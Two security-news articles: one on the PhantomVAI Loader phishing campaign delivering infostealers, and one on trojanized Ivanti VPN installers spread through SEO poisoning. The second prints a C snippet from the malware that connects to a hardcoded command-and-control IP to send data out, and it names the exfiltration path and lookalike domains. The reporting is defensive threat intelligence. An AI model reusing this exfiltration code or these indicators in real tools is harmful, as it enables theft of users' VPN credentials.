A sophisticated multi-stage malware campaign is targeting organizations globally, utilizing the PhantomVAI Loader to distribute dangerous information-stealing malware.

The attack chain, which begins with carefully crafted phishing emails, has emerged as a significant threat to businesses across manufacturing, education, healthcare, technology, utilities, and government sectors.

This malware family, previously known as Katz Stealer Loader, has evolved to deliver multiple infostealer variants including AsyncRAT, XWorm, FormBook, and DCRat, making it a versatile tool in the cybercriminal arsenal.

The infection begins when unsuspecting users receive phishing emails containing malicious attachments disguised as legitimate business communications.

These emails employ social engineering themes such as sales inquiries, payment notifications, and legal matters to lure victims into opening archived JavaScript or VBS files.

What makes these attacks particularly insidious is the use of homograph attacks, where threat actors replace Latin characters with visually similar Unicode characters, effectively bypassing email security filters.

After the initial phishing stage, Palo Alto Networks analysts identified that the attack progresses through multiple sophisticated layers.

The malicious scripts are heavily obfuscated and contain Base64-encoded PowerShell commands that execute automatically upon opening.

These PowerShell scripts download what appears to be an innocuous GIF or image file from attacker-controlled servers.

However, these image files conceal the loader payload using steganography techniques, where Base64-encoded DLL files are embedded within the image data between specific delimiter strings such as \<\<sudo_png>> and \<\<sudo_odt>>.

Infection Mechanism and Evasion Techniques

Once the encoded text is extracted, the PowerShell script decodes it and loads the PhantomVAI Loader DLL written in C#. The loader executes a method called VAI, which performs multiple critical functions before deploying the final payload.

It conducts comprehensive virtual machine detection checks using code based on the VMDetector GitHub project.

The malware examines system attributes including computer information, BIOS details, hard disk characteristics, and Windows services to determine if it runs in a virtualized environment.

If any check returns positive, PhantomVAI Loader immediately terminates.

The loader establishes persistence through scheduled tasks that execute PowerShell commands to download and run files from attacker-controlled URLs, or by creating Windows Registry Run keys.

Finally, it downloads the final payload from a command-and-control server and injects it into legitimate system processes using process hollowing, most commonly targeting MSBuild.exe in the .NET Framework directory.

This evasion mechanism allows the malware to operate undetected while delivering information-stealing capabilities.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post PhantomVAI Loader Attacking Organizations Worldwide to Deliver AsyncRAT, XWorm, FormBook and DCRat appeared first on Cyber Security News.

An aggressive SEO poisoning campaign has surfaced in early October 2025, preying on users searching for the legitimate Ivanti Pulse Secure VPN client.

Attackers have registered lookalike domains such as ivanti-pulsesecure.com and ivanti-secure-access.org to host trojanized installers that appear official.

Unsuspecting victims clicking on top search results are redirected to these malicious sites, where a signed MSI file is offered for download under the guise of Ivanti’s Secure Access Client.

The trojanized installer carries a credential-stealing DLL, designed to harvest saved VPN connection details and exfiltrate them to a C2 server hosted on Microsoft Azure infrastructure.

Zscaler researchers noted a sophisticated referrer-based content delivery tactic used by the phishing domains. When accessed directly in a browser, the sites display benign content without any download links, evading quick detection by analysts and security scanners.

Only users arriving via search engine referrals—particularly from Bing—are shown the malicious download button, exploiting the HTTP Referrer header to cloak the true intent of the pages.

Once downloaded, the MSI installer drops two malicious DLLs—dwmapi.dll and pulseextension.dll—signed by a legitimate certificate authority to further bypass security controls.

These DLLs embed a sequence of routines to locate and parse the Ivanti connection store (connectionstore.dat), extracting saved URIs and credentials.

Delving into the infection mechanism reveals how the malware establishes persistence and stealth. Upon execution, the trojanized DLL initiates a network handshake with a hardcoded IP address in the Azure range (4.239.95.1) on port 8080.

The following C code snippet illustrates the socket setup and data exchange routine:-

WSADATA was;
WSAStartup(MAKEWORD(2,2), &wsa);
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port   = htons(8080);
inet_pton(AF_INET, "4.239.95.1", &addr.sin_addr);
connect(sock, (struct sockaddr*)&addr, sizeof(addr));
// Receive 48 bytes
recv(sock, buf, 0x30, 0);
// XOR deobfuscation
for(int i=0;i<0x30;i++) buf[i]^=key[i];
// Send 52-byte obfuscated payload
send(sock, buf, 0x34, 0);

After the initial handshake and XOR-based deobfuscation routine, the malware transmits stolen VPN credentials in an HTTP POST request to the path /incomeshit, a colloquial label for exfiltration channels.

Because the IP resides within Microsoft Azure’s range, security teams may overlook these connections as benign cloud traffic.

By masquerading as trusted software and incorporating advanced evasion techniques, this campaign demonstrates the potency of search engine poisoning as an initial access vector.

Organizations should validate any Ivanti installer checksums, monitor outbound connections to unfamiliar Azure IPs on port 8080, and educate users on verifying official download sources.

Continuous threat hunting for referrer-based anomalies remains essential to thwarting these stealthy attacks.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Beware of Malicious Ivanti VPN Client Sites in Google Search That Delivers Malware appeared first on Cyber Security News.